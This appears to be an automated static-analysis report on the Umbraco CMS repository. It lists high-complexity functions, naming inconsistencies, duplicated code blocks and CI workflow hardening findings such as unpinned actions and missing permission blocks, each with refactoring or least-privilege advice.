UmbPackageRepository.requestRootItems (cognitive 18) src/Umbraco.Web.UI.Client/src/packages/packages/package/repository/package.repository.ts:106— UmbPackageRepository.requestRootItems has cognitive complexity 18 (threshold 15). Drivers by points: if/else 7 (15 pts), boolean chains 3 (nesting depth added 8). Most of this is not in the body itself: 4 of the 18 points are its own statements and the rest belongs to one function literal inside it that branches (line 127). The decisions are inside the literal, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literal's work into a named function or method at the enclosing scope and have the literal call it, then reduce whichever part then reads as the largest.
ContentCacheRefresher.HandleMemoryCache (cognitive 17) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:343— ContentCacheRefresher.HandleMemoryCache has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UserExtensions.CombineStartNodes (cognitive 17) src/Umbraco.Core/Models/UserExtensions.cs:420— UserExtensions.CombineStartNodes has cognitive complexity 17 (threshold 15). Of this number, 16 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DefaultUrlProvider.GetUrlFromRoute (cognitive 17) src/Umbraco.Core/Routing/DefaultUrlProvider.cs:202— DefaultUrlProvider.GetUrlFromRoute has cognitive complexity 17 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
ContentEditingServiceBase.EnsureOnlyAllowedFieldsAreUpdated (cognitive 17) src/Umbraco.Core/Services/ContentEditingServiceBase.cs:829— ContentEditingServiceBase.EnsureOnlyAllowedFieldsAreUpdated has cognitive complexity 17 (threshold 15). To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
DefinitionFactory.GetTableDefinition (cognitive 17) src/Umbraco.Infrastructure/Persistence/DatabaseModelDefinitions/DefinitionFactory.cs:24— DefinitionFactory.GetTableDefinition has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
RetryPolicy.ExecuteAction (cognitive 17) src/Umbraco.Infrastructure/Persistence/FaultHandling/RetryPolicy.cs:164— RetryPolicy.ExecuteAction has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
FileUploadContentDeletedNotificationHandler.GetPathsFromBlockValue (cognitive 17) src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentDeletedNotificationHandler.cs:205— FileUploadContentDeletedNotificationHandler.GetPathsFromBlockValue has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberUserStore.UpdateAsync (cognitive 17) src/Umbraco.Infrastructure/Security/MemberUserStore.cs:212— MemberUserStore.UpdateAsync has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
IndexPresentationFactory.CreateAsync (cognitive 17) src/Umbraco.Cms.Api.Management/Factories/IndexPresentationFactory.cs:47— IndexPresentationFactory.CreateAsync has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
DatabaseCacheRepository.CreateContentNodeKit (cognitive 17) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1993— DatabaseCacheRepository.CreateContentNodeKit has cognitive complexity 17 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
controller-host.mixin.UmbControllerHostMixin (cognitive 17) src/Umbraco.Web.UI.Client/src/libs/controller-api/controller-host.mixin.ts:24— controller-host.mixin.UmbControllerHostMixin has cognitive complexity 17 (threshold 15). Drivers by points: if/else 10 (14 pts), boolean chains 2, loops 1 (nesting depth added 4). Of this number, 12 points are the body's own statements and 5 belong to 2 function literals inside it that branch. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbContentTypeContainerStructureHelper.#legacyObserveContainers (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/content/content-type/structure/content-type-container-structure-helper.class.ts:180— UmbContentTypeContainerStructureHelper.#legacyObserveContainers has cognitive complexity 17 (threshold 15). Drivers by points: if/else 10 (16 pts), boolean chains 1 (nesting depth added 6). Most of this is not in the body itself: 5 of the 17 points are its own statements and the rest belongs to 2 function literals inside it that branch (lines 191, 199). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbMenuTreeStructureWorkspaceContextBase.#requestStructureImpl (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-tree-structure-workspace-context-base.ts:139— UmbMenuTreeStructureWorkspaceContextBase.#requestStructureImpl has cognitive complexity 17 (threshold 15). Drivers by points: if/else 11 (14 pts), ternaries 2, boolean chains 1 (nesting depth added 3). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
UmbMenuVariantTreeStructureWorkspaceContextBase.#requestStructureImpl (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-variant-tree-structure-workspace-context-base.ts:170— UmbMenuVariantTreeStructureWorkspaceContextBase.#requestStructureImpl has cognitive complexity 17 (threshold 15). Drivers by points: if/else 9 (14 pts), ternaries 2, boolean chains 1 (nesting depth added 5). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyContext._generateVariantDifferenceString (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/core/property/components/property/property.context.ts:210— UmbPropertyContext._generateVariantDifferenceString has cognitive complexity 17 (threshold 15). Drivers by points: if/else 8 (14 pts), boolean chains 3 (nesting depth added 6). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbSorterController.#handleDragMove (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:926— UmbSorterController.#handleDragMove has cognitive complexity 17 (threshold 15). Drivers by points: if/else 6 (11 pts), ternaries 3 (4 pts), boolean chains 2 (nesting depth added 6). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbWorkspaceSplitViewVariantSelectorElement.#renderCultureVariantOption (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/core/workspace/components/workspace-split-view/workspace-split-view-variant-selector.element.ts:428— UmbWorkspaceSplitViewVariantSelectorElement.#renderCultureVariantOption has cognitive complexity 17 (threshold 15). Drivers by points: ternaries 8 (9 pts), if/else 2 (4 pts), boolean chains 2, loops 1 (2 pts) (nesting depth added 4). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
UmbDocumentWorkspaceViewInfoElement.#renderTemplateInput (cognitive 17) src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/views/info/document-workspace-view-info.element.ts:238— UmbDocumentWorkspaceViewInfoElement.#renderTemplateInput has cognitive complexity 17 (threshold 15). Drivers by points: ternaries 7 (14 pts), boolean chains 2, if/else 1 (nesting depth added 7). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ComposerGraph.GetComposersReport (cognitive 16) src/Umbraco.Core/Composing/ComposerGraph.cs:70— ComposerGraph.GetComposersReport has cognitive complexity 16 (threshold 15). Of this number, 15 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
ComposerGraph.EnableDisableComposers (cognitive 16) src/Umbraco.Core/Composing/ComposerGraph.cs:245— ComposerGraph.EnableDisableComposers has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ObjectExtensions.ToDebugString (cognitive 16) src/Umbraco.Core/Extensions/ObjectExtensions.cs:526— ObjectExtensions.ToDebugString has cognitive complexity 16 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
DataValueEditor.Validate (cognitive 16) src/Umbraco.Core/PropertyEditors/DataValueEditor.cs:96— DataValueEditor.Validate has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberPickerValueConverter.ConvertIntermediateToObject (cognitive 16) src/Umbraco.Core/PropertyEditors/ValueConverters/MemberPickerValueConverter.cs:89— MemberPickerValueConverter.ConvertIntermediateToObject has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ElementContainerService.MoveLockedAsync (cognitive 16) src/Umbraco.Core/Services/ElementContainerService.cs:257— ElementContainerService.MoveLockedAsync has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
EntityXmlSerializer.Serialize (cognitive 16) src/Umbraco.Core/Services/EntityXmlSerializer.cs:479— EntityXmlSerializer.Serialize has cognitive complexity 16 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
DatabaseDataCreator.InitializeBaseData (cognitive 16) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:123— DatabaseDataCreator.InitializeBaseData has cognitive complexity 16 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
PackageDataInstallation.UpdateContentTypesAllowedTemplates (cognitive 16) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1376— PackageDataInstallation.UpdateContentTypesAllowedTemplates has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
ContentTypeCommonRepository.GetAllTypesInternal (cognitive 16) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeCommonRepository.cs:63— ContentTypeCommonRepository.GetAllTypesInternal has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberRepository.GetPagedByFilterAsync (cognitive 16) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:344— MemberRepository.GetPagedByFilterAsync has cognitive complexity 16 (threshold 15). Of this number, 15 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
DeferredSearchReindexService.ProcessPendingReindexAsync (cognitive 16) src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:129— DeferredSearchReindexService.ProcessPendingReindexAsync has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MemberEditingService.UpdateAsync (cognitive 16) src/Umbraco.Infrastructure/Services/MemberEditingService.cs:178— MemberEditingService.UpdateAsync has cognitive complexity 16 (threshold 15). To reduce it, split the body: most of this score is breadth rather than depth — checks laid out side by side rather than stacked — so group the statements between the checks into named steps and move each step into its own function. Some of it IS depth: where a check sits inside another whose only job is to reach it, merge the two into one condition.
MemberSignInManager.AutoLinkAndSignInExternalAccount (cognitive 16) src/Umbraco.Web.Common/Security/MemberSignInManager.cs:230— MemberSignInManager.AutoLinkAndSignInExternalAccount has cognitive complexity 16 (threshold 15). To reduce it, split the body: this score is breadth rather than depth — many checks laid out side by side rather than nested inside one another, so inverting conditions into early returns has nothing left to flatten. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
SqlAzureDatabaseProviderMetadata.GenerateConnectionString (cognitive 16) src/Umbraco.Cms.Persistence.SqlServer/Services/SqlAzureDatabaseProviderMetadata.cs:77— SqlAzureDatabaseProviderMetadata.GenerateConnectionString has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
MsgPackContentNestedDataSerializer.Compress (cognitive 16) src/Umbraco.PublishedCache.HybridCache/Serialization/MsgPackContentNestedDataSerializer.cs:95— MsgPackContentNestedDataSerializer.Compress has cognitive complexity 16 (threshold 15). Of this number, 14 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, flatten the nesting: invert conditions into early returns or guard clauses so the happy path stays at one level, and lift the deepest nested block into its own named function.
DeferredCacheRebuildService.ProcessPendingRebuildsAsync (cognitive 16) src/Umbraco.PublishedCache.HybridCache/Services/DeferredCacheRebuildService.cs:104— DeferredCacheRebuildService.ProcessPendingRebuildsAsync has cognitive complexity 16 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbBlockActionDefaultElement.#gotApi (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/block/block/action/default/block-action.element.ts:52— UmbBlockActionDefaultElement.#gotApi has cognitive complexity 16 (threshold 15). Drivers by points: if/else 11 (15 pts), boolean chains 1 (nesting depth added 4). Of this number, 14 points are the body's own statements and 2 belong to one function literal inside it that branches. To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbBlockWorkspaceContext.submit (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/block-workspace.context.ts:602— UmbBlockWorkspaceContext.submit has cognitive complexity 16 (threshold 15). Drivers by points: if/else 8 (15 pts), boolean chains 1 (nesting depth added 7). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbBlockWorkspaceContext.#modalRejected (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/block-workspace.context.ts:666— UmbBlockWorkspaceContext.#modalRejected has cognitive complexity 16 (threshold 15). Drivers by points: if/else 7 (16 pts) (nesting depth added 9). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbBlockWorkspaceViewEditPropertyElement.willUpdate (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/views/edit/block-workspace-view-edit-property.element.ts:30— UmbBlockWorkspaceViewEditPropertyElement.willUpdate has cognitive complexity 16 (threshold 15). Drivers by points: if/else 4 (6 pts), ternaries 2 (6 pts), boolean chains 4 (nesting depth added 6). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbContentWorkspacePropertyElement.willUpdate (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/content/content/global-components/content-workspace-property.element.ts:88— UmbContentWorkspacePropertyElement.willUpdate has cognitive complexity 16 (threshold 15). Drivers by points: if/else 4 (6 pts), ternaries 2 (6 pts), boolean chains 4 (nesting depth added 6). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyValuePresetVariantBuilderController.#buildVariantOptionsFromCulturesAndSegments (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/core/property/property-value-preset/property-value-preset-variant-builder.controller.ts:157— UmbPropertyValuePresetVariantBuilderController.#buildVariantOptionsFromCulturesAndSegments has cognitive complexity 16 (threshold 15). Drivers by points: loops 4 (9 pts), if/else 5, boolean chains 2 (nesting depth added 5). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
tryXhrRequest.function.createXhrRequest (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/core/resources/try-execute/tryXhrRequest.function.ts:41— tryXhrRequest.function.createXhrRequest has cognitive complexity 16 (threshold 15). Drivers by points: if/else 8 (10 pts), boolean chains 2, loops 1 (2 pts), ternaries 1 (2 pts) (nesting depth added 4). Most of this is not in the body itself: 1 of the 16 points is its own statement and the rest belongs to 3 function literals inside it that branch (lines 44, 71, 77). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbSorterController.#handleHandleMouseDown (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:707— UmbSorterController.#handleHandleMouseDown has cognitive complexity 16 (threshold 15). Drivers by points: if/else 7 (13 pts), ternaries 1 (2 pts), boolean chains 1 (nesting depth added 7). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
UmbPropertyEditorUiRteElementBase.constructor (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/rte/components/rte-base.element.ts:159— UmbPropertyEditorUiRteElementBase.constructor has cognitive complexity 16 (threshold 15). Drivers by points: if/else 6 (11 pts), boolean chains 5 (nesting depth added 5). Most of this is not in the body itself: 0 of the 16 points are its own statements and the rest belongs to 4 function literals inside it that branch (lines 170, 174, 162, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbTiptapToolbarConfigurationContext.isValidToolbarValue (cognitive 16) src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/toolbar-configuration/tiptap-toolbar-configuration.context.ts:99— UmbTiptapToolbarConfigurationContext.isValidToolbarValue has cognitive complexity 16 (threshold 15). Drivers by points: if/else 4 (10 pts), loops 3 (6 pts) (nesting depth added 9). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body.
D22 · Internal API Consistency· Inconsistent naming for test initialization methods · ×1
Inconsistent naming for test initialization methods: some use 'SetUp' (camelCase) and others use 'Setup' (PascalCase). Additionally, 'GlobalSetupTeardown' uses 'SetUp' while many controller tests use 'Setup'. — Standardize on 'Setup' (PascalCase) for all test initialization methods to align with common .NET/xUnit/NUnit conventions, or strictly enforce 'SetUp' if following a specific legacy pattern. Remove 'SetUp_Logging' as a separate public method if it is just a helper, or rename to 'SetupLogging'. (signatures: void GlobalSetupTeardown.SetUp() | void ManagementApiTest<T>.Setup() | void ManagementApiTest<T>.SetUp_Logging() | Task AllCultureControllerTests.Setup() | Task ByKeyMediaControllerTests.SetUp() | Task CreateMediaControllerTests.SetUp() | Task UserPresentationFactoryTests.SetUp())
D22 · Internal API Consistency· Redundant/Deprecated API surface · ×1
Redundant/Deprecated API surface: 'GetHostingEnvironment' returns the obsolete 'IHostingEnvironment' while 'GetWebHostEnvironment' returns the modern 'IWebHostEnvironment'. — Deprecate and remove 'GetHostingEnvironment' in favor of 'GetWebHostEnvironment' to avoid confusion and reliance on obsolete interfaces. (signatures: IHostingEnvironment TestHelper.GetHostingEnvironment() | IWebHostEnvironment TestHelper.GetWebHostEnvironment())
D22 · Internal API Consistency· Confusingly similar method names · ×1
Confusingly similar method names: 'TryAssert' and 'Try' have nearly identical signatures and likely similar retry logic, but the distinction between 'Assert' and 'Try' is not immediately clear from the signature alone (one might throw, the other might return bool or void). — Rename 'TryAssert' to 'RetryAssert' or 'WaitUntil' to clearly distinguish its assertion-based behavior from a generic 'Try' action wrapper. Alternatively, unify if they do the same thing. (signatures: void TestHelper.TryAssert(Action action, int maxTries = 5, int waitMilliseconds = 200) | void TestHelper.Try(Action action, int maxTries = 5, int waitMilliseconds = 200) | void TestHelper.Try<T>(Action action, int maxTries = 5, int waitMilliseconds = 200))
Unpinned build actions — CI references GitHub Actions by a floating ref (@main / @tag) rather than a pinned commit SHA, weakening build integrity. 32 floating ref(s) across 11 workflow file(s). Each floating ref is itemized at file:line by the SAST (D29) lens.
D36 · Supply-chain Provenance & Signing· PR-triggered workflow without a permissions block · ×1
PR-triggered workflow without a permissions block — 1 workflow(s) triggered by pull_request run at least one job at the repository's default GITHUB_TOKEN scope (test-backoffice.yml) — no top-level `permissions:` block, and at least one job declaring none of its own — while 8 sibling workflows in the same repository are already scoped. A job that declares nothing inherits the workflow-level block, and with no workflow-level block it inherits the repository default, so scoping some of a workflow's jobs leaves the rest exactly as wide as scoping none. Pull-request runs build the least-trusted code in the repository; give each of these workflows its own least-privilege block — `permissions: {contents: read}` at the top of the workflow, widened per job only where a job genuinely writes.
D36 · Supply-chain Provenance & Signing· Workflow holding a long-lived secret is unscoped · ×1
Workflow holding a long-lived secret is unscoped — 2 workflow(s) inject a long-lived repository secret while leaving at least one job at the repository's default GITHUB_TOKEN scope (azure-backoffice.yml → secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_VICTORIOUS_GROUND_017B08103, azure-storybook.yml → secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_ORANGE_SEA_0C7411A03) — no top-level `permissions:` block, and at least one job declaring none of its own — so that job carries the default token on top of the credential it already holds. A compromised or repointed action in one of these jobs inherits both — the long-lived secret AND write access to code, releases and packages. Sibling workflows in this repository already declare `permissions:`, so the repository-wide check does not flag it. Give each of these its own least-privilege block — `permissions: {contents: read}` at the top, widened per job only where a job genuinely writes.
Near-duplicate member pair (94 shared lines) src/Umbraco.Web.Common/Security/MemberSignInManager.cs:233— src/Umbraco.Web.Common/Security/MemberSignInManager.cs:233-336 | src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:193-289 — These two members are variants of one another: 94 of their lines are already reported as duplicated blocks below, spread through both bodies rather than gathered into one. Read them as a single construct written twice. The repair is at the members' grain — factor the shared pipeline into one implementation the two call with their differences as parameters or as an injected step, or, where the difference is systematic (sync against async, one transport against another), generate one from the other. Extracting the individual blocks below is not the same fix: it leaves the two bodies in place and the next edit still has to be made twice.
D4 · Code Duplication· Edited copy of a member (43 corresponding lines) · ×1
Edited copy of a member (43 corresponding lines) src/Umbraco.Core/IO/ShadowFileSystem.cs:121— src/Umbraco.Core/IO/ShadowFileSystem.cs:121-163 | src/Umbraco.Core/IO/ShadowFileSystem.cs:342-384 — These two members are one piece of code written twice and then edited apart: 43 consecutive lines correspond almost exactly, broken only by small local edits. Most of that correspondence is NOT reported as duplicated blocks below — the edits cut it into fragments and only the largest of them clear the block floor, so the rows below understate it. The repair is at the members' grain — factor the shared implementation into one the two call with their differences as parameters or as an injected step, or, where the difference is systematic (an extra return value, one transport against another), generate one from the other. Left alone, the next edit has to be made twice and the two will drift further apart.
Duplicated block (76 lines × 2) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1669— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1669-1744 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2012-2087 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (56–71 lines × 2) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3222— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3222-3277 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3286-3356 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (63–70 lines × 2) src/Umbraco.Infrastructure/Persistence/Dtos/DocumentCultureVariationDto.cs:12— src/Umbraco.Infrastructure/Persistence/Dtos/DocumentCultureVariationDto.cs:12-81 | src/Umbraco.Infrastructure/Persistence/Dtos/ElementCultureVariationDto.cs:15-77 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (60 lines × 6) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1707— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1707-1766 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1768-1827 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1829-1888 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1890-1949 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1951-2010 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2050-2110 — all 6 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1707` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (54–55 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/ConfigureImageSharpMiddlewareOptions.cs:40— src/Umbraco.Cms.Imaging.ImageSharp/ConfigureImageSharpMiddlewareOptions.cs:40-94 | src/Umbraco.Cms.Imaging.ImageSharp2/ConfigureImageSharpMiddlewareOptions.cs:37-90 — `src/Umbraco.Cms.Imaging.ImageSharp/ConfigureImageSharpMiddlewareOptions.cs` and `src/Umbraco.Cms.Imaging.ImageSharp2/ConfigureImageSharpMiddlewareOptions.cs` are one unit implemented once per sibling directory, so they are most likely parallel implementations of one contract rather than a copy of each other — this scan matched 1 separate duplicated blocks between them, totalling at least 55 lines. If both are selected at run time, neither can be retired in favour of the other, and the lines that DIFFER between them are the reason both exist. The move that pays here is to hoist the identical part into a shared location the whole family can reach and give what differs a parameter or a seam, so a change lands once instead of once per sibling; extracting one helper per block leaves every sibling to drift on its own. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Imaging.ImageSharp/ConfigureImageSharpMiddlewareOptions.cs:40` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (50–51 lines × 2) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3118— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3118-3168 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3185-3234 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (46–50 lines × 2) src/Umbraco.Core/Composing/TypeFinder.cs:265— src/Umbraco.Core/Composing/TypeFinder.cs:265-314 | src/Umbraco.Core/Composing/TypeFinder.cs:355-400 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Composing/TypeFinder.cs:265` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (50 lines × 2) src/Umbraco.Infrastructure/Scoping/IScopeProvider.cs:57— src/Umbraco.Infrastructure/Scoping/IScopeProvider.cs:57-106 | src/Umbraco.Infrastructure/Scoping/LegacyIScopeProvider.cs:40-89 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (7–47 lines × 7) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523-529 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:787-833 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1224-1230 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1782-1818 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2391-2423 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2489-2495 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2563-2569 — all 7 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
